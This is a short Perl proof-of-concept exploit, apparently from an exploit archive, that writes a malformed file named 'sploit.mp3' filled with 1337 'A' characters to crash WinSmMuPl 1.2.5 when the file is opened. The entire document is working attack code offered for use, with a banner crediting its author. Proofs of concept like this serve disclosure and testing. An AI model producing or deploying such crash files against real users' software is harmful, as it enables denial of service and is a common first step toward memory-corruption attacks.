1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#!/usr/bin/perl # WinSmMuPl 1.2.5 (.mp3) Local Crash PoC #[+] Discovered By: cr4wl3r print "#####################################################\n"; print "[!] WinSmMuPl 1.2.5 (.mp3) Local Crash PoC\n"; print "\n"; print "[!] By: cr4wl3r\n"; print "#####################################################\n"; my $boom = "A" x 1337; my $filename = "sploit.mp3"; open (FILE,">$filename"); print FILE "$boom"; print "\nDone!\n"; |